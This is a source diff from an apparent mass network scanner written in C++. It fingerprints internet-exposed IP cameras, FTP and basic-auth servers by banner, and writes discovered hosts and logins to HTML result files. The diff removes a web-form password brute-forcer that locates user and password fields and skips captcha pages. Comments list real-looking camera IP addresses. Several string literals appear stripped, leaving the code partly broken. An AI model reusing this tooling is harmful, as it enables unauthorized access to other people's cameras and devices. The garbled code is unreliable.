- && Utils::ustrstr(buffcpy, "401 ") != -1
- )
- || Utils::ustrstr(buffcpy, "401 unauthorized access denied") != -1
- || Utils::ustrstr(buffcpy, "401 unauthorised") != -1
- || (Utils::ustrstr(buffcpy, "www-authenticate") != -1
- && Utils::ustrstr(buffcpy, " 401\r\n") != -1
- )
- ) {
- if(Utils::ustrstr(buffcpy, "digest realm") != -1
- && Utils::ustrstr(buffcpy, "basic realm") == -1) {
- return 101;
- } else return 1;
- };
if (Utils::ustrstr(buffcpy, "netwave ip camera") != -1) return 11;
if (Utils::ustrstr(buffcpy, "live view / - axis") != -1) return 12;
if (Utils::ustrstr(buffcpy, "vilar ipcamera") != -1) return 13;
@@ -350,8 +369,9 @@ int sharedDetector(const char * ip, int port, const std::string *buffcpy, const
|| Utils::ustrstr(buffcpy, "/config/easy_index.cgi") != -1) return 36; //Panasonic Cam
if(Utils::ustrstr(buffcpy, "panasonic") != -1
&& Utils::ustrstr(buffcpy, "/view/getuid.cgi") != -1) return 37; //Panasonic Cam WJ-HD180
- if(Utils::ustrstr(buffcpy, "ipcam client") != -1
- && Utils::ustrstr(buffcpy, "plugins.xpi") != -1
+ if(Utils::ustrstr(buffcpy, "ipcam client") != -1 && (
+ Utils::ustrstr(buffcpy, "plugins.xpi") != -1 ||
+ Utils::ustrstr(buffcpy, "IPCWebComponents") != -1)
&& Utils::ustrstr(buffcpy, "js/upfile.js") != -1) return 38; //Foscam
if(Utils::ustrstr(buffcpy, "ip surveillance") != -1
&& Utils::ustrstr(buffcpy, "customer login") != -1) return 39; //EagleEye
@@ -395,7 +415,6 @@ int sharedDetector(const char * ip, int port, const std::string *buffcpy, const
if (Utils::ustrstr(buffcpy, "WEB SERVICE") != -1
&& Utils::ustrstr(buffcpy, "jsmain/liveview.js") != -1
) return 54; //Beward (http://46.146.243.88:88/login.asp)
-
if (Utils::ustrstr(buffcpy, "get_status.cgi") != -1
&& Utils::ustrstr(buffcpy, "str_device+") != -1) return 55; //QCam (http://1.177.123.118:8080/)
@@ -403,59 +422,83 @@ int sharedDetector(const char * ip, int port, const std::string *buffcpy, const
(Utils::ustrstr(buffcpy, "220 diskStation ftp server ready") != -1) ||
(Utils::ustrstr(buffcpy, "220 ftp server ready") != -1)
|| Utils::ustrstr(buffcpy, "500 'get': command not understood") != -1
- ) return 16; // 16 - FTP
-
- if((Utils::ustrstr(buffcpy, "camera web server") != -1 || Utils::ustrstr(buffcpy, "webcamxp 5") != -1
- || Utils::ustrstr(buffcpy, "ip box camera") != -1 || Utils::ustrstr(buffcpy, "snaff") != -1
- || Utils::ustrstr(buffcpy, "hfs /") != -1 || Utils::ustrstr(buffcpy, "httpfileserver") != -1
- || Utils::ustrstr(buffcpy, "network camera") != -1 || Utils::ustrstr(buffcpy, "index of") != -1
- || Utils::ustrstr(buffcpy, "$lock extended") != -1 || Utils::ustrstr(buffcpy, "ip camera") != -1
- || Utils::ustrstr(buffcpy, "/viewer/video.jpg") != -1 || Utils::ustrstr(buffcpy, "smart ip device") != -1
- || Utils::ustrstr(buffcpy, "sanpshot_icon") != -1 || Utils::ustrstr(buffcpy, "snapshot_icon") != -1
- || Utils::ustrstr(buffcpy, "ipcam") != -1
+ ) return 3; // 3 - FTP
+
+ if (Utils::ustrstr(buffcpy, "camera") != -1 ||
+ Utils::ustrstr(buffcpy, "webcamxp") != -1 ||
+ Utils::ustrstr(buffcpy, "video") != -1 ||
+ Utils::ustrstr(buffcpy, "ipcam") != -1 ||
+ Utils::ustrstr(buffcpy, "smart ip") != -1 ||
+ Utils::ustrstr(buffcpy, "sanpshot_icon") != -1 ||
+ Utils::ustrstr(buffcpy, "snapshot_icon") != -1
+ ) return 0;
+
+ if((Utils::ustrstr(buffcpy, "hfs /") != -1 ||
+ Utils::ustrstr(buffcpy, "httpfileserver") != -1 ||
+ Utils::ustrstr(buffcpy, "index of") != -1 ||
+ Utils::ustrstr(buffcpy, "$lock extended") != -1
)
&& Utils::ustrstr(buffcpy, "customer") == -1
&& Utils::ustrstr(buffcpy, "purchase") == -1
&& Utils::ustrstr(buffcpy, "contac") == -1
&& Utils::ustrstr(buffcpy, "company") == -1
- ) return 0;
+ ) return 1;
- if(globalSearchNeg(buffcpy, ip, port, cp) == -1) return -1;
- if(globalSearchPrnt(buffcpy) == -1)
+ if (isNegative(buffcpy, ip, port, cp)) return -1;
+ //if (globalSearchPrnt(buffcpy) == -1) return -1;
- return -2;
+ return 1;
}
-
// 500 < 1600
-int _mainFinderFirst(const std::string *buffcpy, int f, int port, const char *ip, const char *cp)
+//int _mainFinderFirst(const std::string *buffcpy, int port, const char *ip, const char *cp)
+//{
+// int flag = sharedDetector(ip, port, buffcpy, cp);
+// if (flag != -2) return flag;
+//
+// return 0;
+//}
+////> 1600
+//int _mainFinderSecond(const std::string *buffcpy, int port, const char *ip, const char *cp)
+//{
+// int flag = sharedDetector(ip, port, buffcpy, cp);
+// if(flag != -2) return flag;
+//
+// return 3; //Suspicious
+//}
+
+
+
+int firstStage(const std::string *buffcpy, int port, const char *ip, const char *cp, int sz)
{
- int flag = sharedDetector(ip, port, buffcpy, cp);
- if(flag != -2) return flag;
- if(f) return 7;
+ if (buffcpy->size() == 0 && sz != 0) {
+ stt->doEmitionYellowFoundData("Strange behavior: 0 bytes. " + QString(ip) + ":" + QString::number(port));
+ return -1;
+ }
+ int flag = sharedDetector(ip, port, buffcpy, cp);
+ if (flag != -2) return flag;
- return 0;
+ return 1;
}
-
-//> 1600
-int _mainFinderSecond(const std::string *buffcpy, int port, const char *ip, const char *cp)
+int contentFilter(const std::string *buff, int port, const char *ip, const char *cp, int sz)
{
- int flag = sharedDetector(ip, port, buffcpy, cp);
- if(flag != -2) return flag;
+ //int res = 0;
+ //if (sz <= 500) res = _mainFinderFirst(buff, 1, port, ip, cp);
+ //else if ((sz > 500 && sz <= 3500) || sz > 180000) res = _mainFinderFirst(buff, 0, port, ip, cp);
+ //else if (sz > 3500 && sz <= 180000) res = _mainFinderSecond(buff, port, ip, cp);
- return 3; //Suspicious
-}
-
-int ContentFilter(const std::string *buff, int port, const char *ip, const char *cp, int sz)
-{
- int res = 0;
- if (sz <= 500) res = _mainFinderFirst(buff, 1, port, ip, cp);
- else if ((sz > 500 && sz <= 3500) || sz > 180000) res = _mainFinderFirst(buff, 0, port, ip, cp);
- else if (sz > 3500 && sz <= 180000) res = _mainFinderSecond(buff, port, ip, cp);
+ //return res;
- return res;
+ if (sz < 180000) {
+ int result = 1; //Other - default
+ result = firstStage(buff, port, ip, cp, sz);
+ return result;
+ }
+ else {
+ return 1;
+ }
}
-void fillGlobalLogData(const char *ip, int port, const char *sz, char *title,
+void fillGlobalLogData(const char *ip, int port, const char *sz, const char *title,
const char *login, const char *pass, char *comment, char *cdpg, char *clss)
{
if(trackerOK == true)
@@ -503,15 +546,12 @@ int __checkFileExistence(int flag)
{
char fileName[64] = {0};
- if(flag == 666 || flag == 350) strcpy(fileName, RESULT_DIR_NAME"/STRANGE_ERROR.html");
- else if(flag == -22) strcpy(fileName, RESULT_DIR_NAME"/ssh.html");
- else if(flag == 0 || flag == 15 || flag == -10) strcpy(fileName, RESULT_DIR_NAME"/strange.html");
- else if(flag == 3) strcpy(fileName, RESULT_DIR_NAME"/other.html");
- else if(flag == 7) strcpy(fileName, RESULT_DIR_NAME"/low_loads.html");
- else if(flag == 10) strcpy(fileName, RESULT_DIR_NAME"/LoginForms.html");
- else if(flag == 16) strcpy(fileName, RESULT_DIR_NAME"/FTP.html");
+ if (flag == -22) sprintf(fileName, "./result_files-%s/"TYPE5".html", Utils::getStartDate().c_str());
+ else if (flag == 0 || flag == 15 || flag == -10) sprintf(fileName, "./result_files-%s/"TYPE1".html", Utils::getStartDate().c_str());
+ else if (flag == 3) sprintf(fileName, "./result_files-%s/"TYPE2".html", Utils::getStartDate().c_str());
+ else if (flag == 16) sprintf(fileName, "./result_files-%s/"TYPE4".html", Utils::getStartDate().c_str());
else if(flag >= 17 || flag == 11 || flag == 12
- || flag == 13 || flag == 14 || flag == 1) strcpy(fileName, RESULT_DIR_NAME"/Basicauth.html");
+ || flag == 13 || flag == 14 || flag == 1) sprintf(fileName, "./result_files-%s/"TYPE3".html", Utils::getStartDate().c_str());
FILE *f = fopen(fileName, "r");
if(f == NULL) return true;
@@ -521,60 +561,51 @@ int __checkFileExistence(int flag)
return false;
};
}
-
-bool ftsAnom = true;
+bool ftsCameras = true;
bool ftsOther = true;
bool ftsSSH = true;
-bool ftsLL = true;
bool ftsFTP = true;
bool ftsBA = true;
-bool ftsLF = true;
-
-bool fOpened = false;
-char styleBuff[1024] = {""};
-char topBuff[1024] = {"
"};
+std::atomic fOpened = false;
void fputsf(char *text, int flag, char *msg)
{
FILE *file = NULL;
+ char fileName[256] = { 0 };
+
if(flag == 0 || flag == 15 || flag == -10)
{
- if(ftsAnom) ftsAnom = __checkFileExistence(flag);
- file = fopen(RESULT_DIR_NAME"/strange.html", "a");
+ if (ftsCameras) ftsCameras = __checkFileExistence(flag);
+ sprintf(fileName, "./result_files-%s/"TYPE1".html", Utils::getStartDate().c_str());
+ file = fopen(fileName, "a");
}
- else if(flag == 3)
+ else if(flag == 1)
{
if(ftsOther) ftsOther = __checkFileExistence(flag);
- file = fopen(RESULT_DIR_NAME"/other.html", "a");
+ sprintf(fileName, "./result_files-%s/"TYPE2".html", Utils::getStartDate().c_str());
+ file = fopen(fileName, "a");
}
else if(flag == -22)
{
if(ftsSSH) ftsSSH = __checkFileExistence(flag);
- file = fopen(RESULT_DIR_NAME"/SSH.html", "a");
- }
- else if(flag == 7)
- {
- if(ftsLL) ftsLL = __checkFileExistence(flag);
- file = fopen(RESULT_DIR_NAME"/low_loads.html", "a");
- }
- else if(flag == 10)
- {
- if(ftsLF) ftsLF = __checkFileExistence(flag);
- file = fopen(RESULT_DIR_NAME"/LoginForms.html", "a");
+ sprintf(fileName, "./result_files-%s/"TYPE5".html", Utils::getStartDate().c_str());
+ file = fopen(fileName, "a");
}
- else if(flag == 16)
+ else if(flag == 3)
{
if(ftsFTP) ftsFTP = __checkFileExistence(flag);
- file = fopen(RESULT_DIR_NAME"/FTP.html", "a");
+ sprintf(fileName, "./result_files-%s/"TYPE4".html", Utils::getStartDate().c_str());
+ file = fopen(fileName, "a");
}
else if(flag >= 17 || flag == 11 || flag == 12
- || flag == 13 || flag == 14 || flag == 1
+ || flag == 13 || flag == 14 || flag == 2
)
{
if(ftsBA) ftsBA = __checkFileExistence(flag);
- file = fopen(RESULT_DIR_NAME"/Basicauth.html", "a");
+ sprintf(fileName, "./result_files-%s/"TYPE3".html", Utils::getStartDate().c_str());
+ file = fopen(fileName, "a");
}
- else stt->doEmitionRedFoundData("[WUT!?] Unknown flag [FLAG: " + QString::number(flag) + "]");
+ else stt->doEmitionRedFoundData("Unknown flag [FLAG: " + QString::number(flag) + "]");
if(file != NULL)
{
@@ -625,89 +656,59 @@ void fputsf(char *text, int flag, char *msg)
strcat (string, "");
};
- if(flag == 0 && ftsAnom)
+ if (flag == 0 && ftsCameras)
{
char tmsg[1024] = {0};
- ftsAnom = false;
- strcpy(tmsg, "Anomalies");
+ ftsCameras = false;
+ strcpy(tmsg, ""TYPE1"");
strcat(tmsg, msg);
- strcat(tmsg, styleBuff);
+ strcat(tmsg, HTTP_FILE_STYLE);
fputs (tmsg, file);
- fputs ("
", file);
+ fputs(HTTP_FILE_HEADER, file);
};
- if(flag == 3 && ftsOther)
+ if(flag == 1 && ftsOther)
{
char tmsg[1024] = {0};
ftsOther = false;
- strcpy(tmsg, "Suspicious");
+ strcpy(tmsg, ""TYPE2"");
strcat(tmsg, msg);
- strcat(tmsg, styleBuff);
+ strcat(tmsg, HTTP_FILE_STYLE);
fputs (tmsg, file);
- fputs (topBuff, file);
+ fputs(HTTP_FILE_HEADER, file);
};
if(flag == -22 && ftsSSH)
{
char tmsg[1024] = {0};
ftsOther = false;
- strcpy(tmsg, "SSH");
- strcat(tmsg, msg);
- strcat(tmsg, styleBuff);
- fputs (tmsg, file);
- fputs (topBuff, file);
- };
- if(flag == 7 && ftsLL)
- {
- char tmsg[1024] = {0};
- ftsLL = false;
- strcpy(tmsg, "Lowloads");
+ strcpy(tmsg, ""TYPE5"");
strcat(tmsg, msg);
- strcat(tmsg, styleBuff);
+ strcat(tmsg, HTTP_FILE_STYLE);
fputs (tmsg, file);
- fputs (topBuff, file);
+ fputs(HTTP_FILE_HEADER, file);
};
- if(flag == 16 && ftsFTP)
+ if(flag == 3 && ftsFTP)
{
char tmsg[1024] = {0};
ftsFTP = false;
- strcpy(tmsg, "FTP");
- strcat(tmsg, msg);
- strcat(tmsg, styleBuff);
- fputs (tmsg, file);
- fputs (topBuff, file);
- };
- if(flag == 10 && ftsLF)
- {
- char tmsg[1024] = {0};
- ftsLF = false;
- strcpy(tmsg, "LoginsForms");
+ strcpy(tmsg, ""TYPE4"");
strcat(tmsg, msg);
- strcat(tmsg, styleBuff);
+ strcat(tmsg, HTTP_FILE_STYLE);
fputs (tmsg, file);
- fputs (topBuff, file);
-
+ fputs(HTTP_FILE_HEADER, file);
};
- if((flag >= 17 || flag == 11 || flag == 12 || flag == 13 || flag == 14 || flag == 1) && ftsBA)
+ if((flag >= 17 || flag == 11 || flag == 12 || flag == 13 || flag == 14 || flag == 2) && ftsBA)
{
char tmsg[1024] = {0};
ftsBA = false;
- strcpy(tmsg, "BasicAuth");
+ strcpy(tmsg, ""TYPE3"");
strcat(tmsg, msg);
- strcat(tmsg, styleBuff);
+ strcat(tmsg, HTTP_FILE_STYLE);
fputs (tmsg, file);
- fputs (topBuff, file);
+ fputs(HTTP_FILE_HEADER, file);
};
- int innerCounter = 0;
- while(fOpened)
- {
- if(innerCounter > 20)
- {
- stt->doEmitionRedFoundData("\"fOpened\" loop detected!");
- break;
- };
-
- ++innerCounter;
- Sleep((rand() % 100 + 60));
+ while(fOpened) {
+ Sleep((rand() % 10 + 60));
};
fOpened = true;
fputs (string, file);
@@ -718,12 +719,15 @@ void fputsf(char *text, int flag, char *msg)
}
else
{
- stt->doEmitionRedFoundData("Cannot open file [FLAG: " + QString::number(flag) + "] " + QString::number(GetLastError()));
+ stt->doEmitionRedFoundData("Cannot open file [Flag: " + QString::number(flag) + " Err:" + QString::number(GetLastError()) + "]");
MainStarter::createResultFiles();
};
}
-void putInFile(int flag, const char *ip, int port, int size, char *finalstr, char *cp)
+#define REDIRECT_PIC ""
+#define PEKO_PIC ""
+
+void putInFile(int flag, const char *ip, int port, int size, const char *finalstr, char *cp)
{
char log[4096] = {0}, msg[512] = {0};
@@ -764,40 +768,23 @@ void putInFile(int flag, const char *ip, int port, int size, char *finalstr, cha
resMes += " : " + strf.toHtmlEscaped() + "";
};
- stt->doEmitionFoundData(resMes);
+ resMes.replace("[PK]", PEKO_PIC);
+ stt->doEmitionFoundData(resMes.replace("[R]", REDIRECT_PIC));
sprintf(log, "%s:%d; Received: %d",
ip, port, ip, port, size);
- if(flag == 666 || flag == 350)
- {
- fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Strange error");
- ++PieAnomC1;
- ++AnomC1;
- }
- else if(flag == 0 || flag == 15 || flag == -10)
+ //Generic camera
+ if(flag == 0 || flag == 15 || flag == -10)
{
- fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Anomaly");
- ++PieAnomC1;
- ++AnomC1;
+ fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, TYPE1);
}
- else if(flag == 3)
+ //Other
+ else if(flag == 1)
{
- fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Suspicious");
- ++PieSusp;
- ++Susp;
+ fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, TYPE2);
}
- else if(flag == 7)
- {
- fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Low load");
- ++PieLowl;
- }
- else if(flag == 10)
- {
- fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Login form");
- ++PieWF;
- };
-
+ //Special camera (Hikk, RVI, Safari, etc)
if(flag != 6 && flag != 5 && flag != 4)
{
strcat(log, "; T: ");
@@ -812,12 +799,12 @@ void putInFile(int flag, const char *ip, int port, int size, char *finalstr, cha
ZeroMemory(msg, strlen(msg));
}
-void _specFillerBA(const char *ip, int port, char *finalstr, const char *login, const char *pass, int flag)
+void _specFillerBA(const char *ip, int port, const char *finalstr, const char *login, const char *pass, int flag)
{
char log[512] = {0};
++PieBA;
- if(strcmp(login, "NULL") != 0 && strcmp(pass, "NULL") != 0)
+ if (strlen(login) > 0 || strlen(pass) > 0)
{
sprintf(log, "[BA]:%s:%s@%s:%d T: %s\n",
login, pass, ip, port, login, pass, ip, port, finalstr);
@@ -831,383 +818,382 @@ void _specFillerBA(const char *ip, int port, char *finalstr, const char *login,
fputsf (log , flag, "Basic Authorization");
}
-void _specFillerWF(const char *ip, int port, char *finalstr, char *login, char *pass, int flag)
-{
- char log[512] = {0};
-
- ++PieWF;
-
- sprintf(log, "[WF]:%s:%s T: %s Pass: %s:%s\n",
- ip, port, ip, port, finalstr, login, pass);
-
- stt->doEmitionFoundData(QString::fromLocal8Bit(log));
-
- fputsf (log , flag, "Web Form");
-}
-
-void _getFormVal(char *data, char *result, char *key, char *path = NULL)
-{
- char parVal[256] = {0};
- int psz = 0;
- char *pkeyResult1 = strstr(data, ">");
- if(pkeyResult1 != NULL)
- {
- psz = pkeyResult1 - data + 1;
- strncpy(parVal, data, (psz < 256 ? psz : 256));
- }
- else
- {
- strncpy(parVal, data, 256);
- };
-
- int sz = 0;
- char parVal2[256] = {0};
-
- char startPath[256] = {0};
- if(strcmp(key, "action") == 0)
- {
- if(strstr(path, "./") == NULL)
- {
- char *ptrP1 = _findLast(path, "/");
- if(ptrP1 != path)
- {
- int pSz = ptrP1 -path;
- strncpy(startPath, path, pSz);
- };
- };
- };
-
- char *keyResult1 = strstri(parVal, key);
-
- if(keyResult1 != NULL)
- {
- char *pkeyResult2 = _findFirst(keyResult1, " >");
- if(pkeyResult2 != NULL)
- {
- int psz2 = pkeyResult2 - keyResult1;
- strncpy(parVal2, keyResult1, (psz2 < 256 ? psz2 : 256));
-
- char *keyResult2 = _findFirst(parVal2, "'\"");
- if(keyResult2 != NULL)
- {
- char *keyResult3 = _findFirst(keyResult2 + 1, "'\"> ");
- if(keyResult3 != NULL)
- {
- sz = keyResult3 - keyResult2 - 1;
- char tempRes[256] = {0};
- if(strstr(keyResult2, "./") != NULL)
- {
- strcpy(result, startPath);
- strncpy(tempRes, keyResult2 + 2, sz - 1);
- if(tempRes[0] != '/') strcat(result, "/");
- strcat(result, tempRes);
- }
- else if(strstr(keyResult2, "/") == NULL)
- {
- if(strcmp(key, "action") == 0)
- {
- strcpy(result, startPath);
- strncpy(tempRes, keyResult2 + 1, sz);
- if(tempRes[0] != '/') strcat(result, "/");
- strcat(result, tempRes);
- }
- else
- {
- strncpy(result, keyResult2 + 1, sz);
- };
- }
- else
- {
- strncpy(result, keyResult2 + 1, sz);
- };
- };
- }
- else
- {
- keyResult2 = _findFirst(parVal2, "=");
- if(keyResult2 != NULL)
- {
- char *keyResult3 = _findFirst(keyResult2, "'\"> ");
- if(keyResult3 != NULL )
- {
- sz = keyResult3 - keyResult2 - 1;
- strncpy(result, keyResult2 + 1, sz);
- char tempRes[256] = {0};
- if(strstr(keyResult2, "./") != NULL)
- {
- strcpy(result, startPath);
- strncpy(tempRes, keyResult2 + 2, sz - 1);
- if(tempRes[0] != '/') strcat(result, "/");
- strcat(result, tempRes);
- }
- else if(strstr(keyResult2, "/") == NULL)
- {
- if(strcmp(key, "action") == 0)
- {
- strcpy(result, startPath);
- strncpy(tempRes, keyResult2 + 1, sz);
- if(tempRes[0] != '/') strcat(result, "/");
- strcat(result, tempRes);
- }
- else
- {
- strncpy(result, keyResult2 + 1, sz);
- };
- }
- else
- {
- strncpy(result, keyResult2 + 1, sz);
- };
- }
- else
- {
- strcpy(result, startPath);
- strcat(result, keyResult2 + 1);
- };
- }
- };
-
- }
- else
- {
- stt->doEmitionFoundData("[WF]: GetParam - Cannot retrieve field.");
- };
- };
-}
-
-static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname", "mail", "name"};
-std::vector vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(arrUser[0]) );
-static const std::string arrPass[] = {"pass", "pw", "password", "code", "param2", "param4", "secret", "login_p", "A2", "admin_pw", "pws", "secretkey"};
-std::vector vecPass (arrPass, arrPass + sizeof(arrPass) / sizeof(arrPass[0]) );
-
-char *_getAttribute(const char *str, char *attrib)
-{
- if(strstri(str, attrib) != NULL)
- {
- char res[1024] = {0};
- char *ptrStart = strstri(str, attrib);
- char *ptrEnd = _findFirst(ptrStart, "\r\n");
- if(ptrEnd != NULL)
- {
- int szAt = strlen(attrib);
- int sz = ptrEnd - ptrStart - szAt;
-
- if(sz != 0 && sz < 1024) strncpy(res, ptrStart + szAt, sz);
- else return "";
-
- return res;
- }
- else return "";
- }
- else return "";
-}
-
-void _getInputVal(std::vector inputVec, char *buff, char *key)
-{
- char *pos = NULL;
- char field[256] = {0};
- if(strcmp(key, "USER") == 0)
- {
- for(int i = 0; i < inputVec.size(); ++i)
- {
- ZeroMemory(field, 256);
- _getFormVal((char*)inputVec[i].data(), field, "name=");
- for(int j = 0; j < vecUser.size(); ++j)
- {
- pos = strstri(field, vecUser[j].data());
- if(pos != NULL)
- {
- strncpy(buff, field, 256);
- return;
- };
- };
- };
- }
- else
- {
- for(int i = 0; i < inputVec.size(); ++i)
- {
- ZeroMemory(field, 256);
- _getFormVal((char*)inputVec[i].data(), field, "name=");
- for(int j = 0; j < vecPass.size(); ++j)
- {
- pos = strstri(field, vecPass[j].data());
- if(pos != NULL)
- {
- strncpy(buff, field, 256);
- return;
- };
- };
- };
- };
-}
-
-void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int size, char *title)
-{
- if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL)
- {
- if(gNegDebugMode)
- {
- stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Ignoring: Captcha detected.");
- };
- return;
- };
-
- char methodVal[128] = {0};
- char actionVal[512] = {0};
- char userVal[128] = {0};
- char passVal[128] = {0};
- char frmBlock[4096] = {0};
- char *fBlock = strstri(buff, "");
- if(frmBlockEnd != NULL)
- {
- fbsz = frmBlockEnd - fBlock;
- strncpy(frmBlock, fBlock, (fbsz < 4096 ? fbsz : 4096));
- }
- else
- {
- strncpy(frmBlock, fBlock, 4096);
- };
-
- _getFormVal(frmBlock, methodVal, "method");
- _getFormVal(frmBlock, actionVal, "action", path);
- if(actionVal[0] == '.')
- {
- char tmpBuff[512] = {0};
- char *tempPtr1 = _findLast(path, "/");
- int sz = tempPtr1 - path;
- if(sz > 0)
- {
- strncpy(tmpBuff, path, sz);
- strncat(tmpBuff, actionVal + 1, strlen(actionVal) - 1);
- ZeroMemory(actionVal, sizeof(actionVal));
- strcpy(actionVal, tmpBuff);
- };
- };
-
- char *inptPtr1 = strstri(frmBlock, "");
- if(inptPtrEnd != NULL)
- {
- ZeroMemory(tempInptStr, 256);
- insz = inptPtrEnd - inptPtr1 + 1;
- strncpy(tempInptStr, inptPtr1, (insz < 256 ? insz : 256));
- inputVec.push_back(std::string(tempInptStr));
- inptPtr1 = strstri(inptPtrEnd, "doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: No text/password fields found.");
- ///fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, "NULL", "NULL", comment, cp, tclass);
- ///putInFile(flag, ip, tport, size, title, cp);
- };
- }
- else
- {
- stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Cannot find form block.");
- fillGlobalLogData(ip, port, std::to_string(size).c_str(), title, "NULL", "NULL", comment, cp, tclass);
- putInFile(flag, ip, port, size, title, cp);
- };
-
- if(strlen(methodVal) == 0)
- {
- strcpy(methodVal, "GET");
- };
- if(strlen(actionVal) == 0)
- {
- strcpy(actionVal, "/");
- }
- else
- {
- if(strstri(actionVal, "http") != NULL)
- {
- char tmp[128] = {0};
- strncpy(tmp, actionVal, 128);
- if(strstr(tmp, "//") != NULL)
- {
- char *tmp1 = strstr(tmp, "//");
- char *tmp2 = strstr(tmp1 + 2, "/");
- ZeroMemory(actionVal, 128);
- if(tmp2 != NULL)
- {
- strncpy(actionVal, tmp2, strlen(tmp2));
- }
- else
- {
- strcpy(actionVal, "/");
- };
- }
- else if(strstr(tmp, "%2f%2f") != NULL)
- {
- char *tmp1 = strstr(tmp, "%2f%2f");
- char *tmp2 = strstr(tmp1 + 6, "%2f");
- ZeroMemory(actionVal, 128);
- if(tmp2 != NULL)
- {
- strcpy(actionVal, "/");
- strncpy(actionVal, tmp2 + 3, strlen(tmp2) - 3);
- }
- else
- {
- strcpy(actionVal, "/");
- };
- };
- };
- if(actionVal[0] != '/')
- {
- char temp[128] = {0};
- strncpy(temp, actionVal, 128);
- strcpy(actionVal, "/");
- strncat(actionVal, temp, strlen(temp));
- };
- };
-
- if(inputVec.size() > 0)
- {
- if(strlen(userVal) != 0 && strlen(passVal) != 0)
- {
- WFClass WFC;
- lopaStr lps = WFC._WFBrute(ip, port, methodVal, actionVal, userVal, passVal, formVal);
-
- if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
- {
- _specFillerWF(ip, port, title, lps.login, lps.pass, flag);
-
- fillGlobalLogData(ip, port, std::to_string(size).c_str(), title, lps.login, lps.pass, comment, cp, tclass);
- putInFile(flag, ip, port, size, title, cp);
- };
- }
- else
- {
- if(gNegDebugMode) stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) +
- " - [WF]: Cannot find user/pass field.");
- };
- };
-}
+//void _specFillerWF(const char *ip, int port, char *finalstr, char *login, char *pass, int flag)
+//{
+// char log[512] = {0};
+//
+// ++PieWF;
+//
+// sprintf(log, "[WF]:%s:%s T: %s Pass: %s:%s\n",
+// ip, port, ip, port, finalstr, login, pass);
+//
+// stt->doEmitionFoundData(QString::fromLocal8Bit(log));
+//
+// fputsf (log , flag, "Web Form");
+//}
+//void _getFormVal(char *data, char *result, char *key, char *path = NULL)
+//{
+// char parVal[256] = {0};
+// int psz = 0;
+// char *pkeyResult1 = strstr(data, ">");
+// if(pkeyResult1 != NULL)
+// {
+// psz = pkeyResult1 - data + 1;
+// strncpy(parVal, data, (psz < 256 ? psz : 256));
+// }
+// else
+// {
+// strncpy(parVal, data, 256);
+// };
+//
+// int sz = 0;
+// char parVal2[256] = {0};
+//
+// char startPath[256] = {0};
+// if(strcmp(key, "action") == 0)
+// {
+// if(strstr(path, "./") == NULL)
+// {
+// char *ptrP1 = _findLast(path, "/");
+// if(ptrP1 != path)
+// {
+// int pSz = ptrP1 -path;
+// strncpy(startPath, path, pSz);
+// };
+// };
+// };
+//
+// char *keyResult1 = strstri(parVal, key);
+//
+// if(keyResult1 != NULL)
+// {
+// char *pkeyResult2 = _findFirst(keyResult1, " >");
+// if(pkeyResult2 != NULL)
+// {
+// int psz2 = pkeyResult2 - keyResult1;
+// strncpy(parVal2, keyResult1, (psz2 < 256 ? psz2 : 256));
+//
+// char *keyResult2 = _findFirst(parVal2, "'\"");
+// if(keyResult2 != NULL)
+// {
+// char *keyResult3 = _findFirst(keyResult2 + 1, "'\"> ");
+// if(keyResult3 != NULL)
+// {
+// sz = keyResult3 - keyResult2 - 1;
+// char tempRes[256] = {0};
+// if(strstr(keyResult2, "./") != NULL)
+// {
+// strcpy(result, startPath);
+// strncpy(tempRes, keyResult2 + 2, sz - 1);
+// if(tempRes[0] != '/') strcat(result, "/");
+// strcat(result, tempRes);
+// }
+// else if(strstr(keyResult2, "/") == NULL)
+// {
+// if(strcmp(key, "action") == 0)
+// {
+// strcpy(result, startPath);
+// strncpy(tempRes, keyResult2 + 1, sz);
+// if(tempRes[0] != '/') strcat(result, "/");
+// strcat(result, tempRes);
+// }
+// else
+// {
+// strncpy(result, keyResult2 + 1, sz);
+// };
+// }
+// else
+// {
+// strncpy(result, keyResult2 + 1, sz);
+// };
+// };
+// }
+// else
+// {
+// keyResult2 = _findFirst(parVal2, "=");
+// if(keyResult2 != NULL)
+// {
+// char *keyResult3 = _findFirst(keyResult2, "'\"> ");
+// if(keyResult3 != NULL )
+// {
+// sz = keyResult3 - keyResult2 - 1;
+// strncpy(result, keyResult2 + 1, sz);
+// char tempRes[256] = {0};
+// if(strstr(keyResult2, "./") != NULL)
+// {
+// strcpy(result, startPath);
+// strncpy(tempRes, keyResult2 + 2, sz - 1);
+// if(tempRes[0] != '/') strcat(result, "/");
+// strcat(result, tempRes);
+// }
+// else if(strstr(keyResult2, "/") == NULL)
+// {
+// if(strcmp(key, "action") == 0)
+// {
+// strcpy(result, startPath);
+// strncpy(tempRes, keyResult2 + 1, sz);
+// if(tempRes[0] != '/') strcat(result, "/");
+// strcat(result, tempRes);
+// }
+// else
+// {
+// strncpy(result, keyResult2 + 1, sz);
+// };
+// }
+// else
+// {
+// strncpy(result, keyResult2 + 1, sz);
+// };
+// }
+// else
+// {
+// strcpy(result, startPath);
+// strcat(result, keyResult2 + 1);
+// };
+// }
+// };
+//
+// }
+// else
+// {
+// stt->doEmitionFoundData("[WF]: GetParam - Cannot retrieve field.");
+// };
+// };
+//}
+//
+//static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname", "mail", "name"};
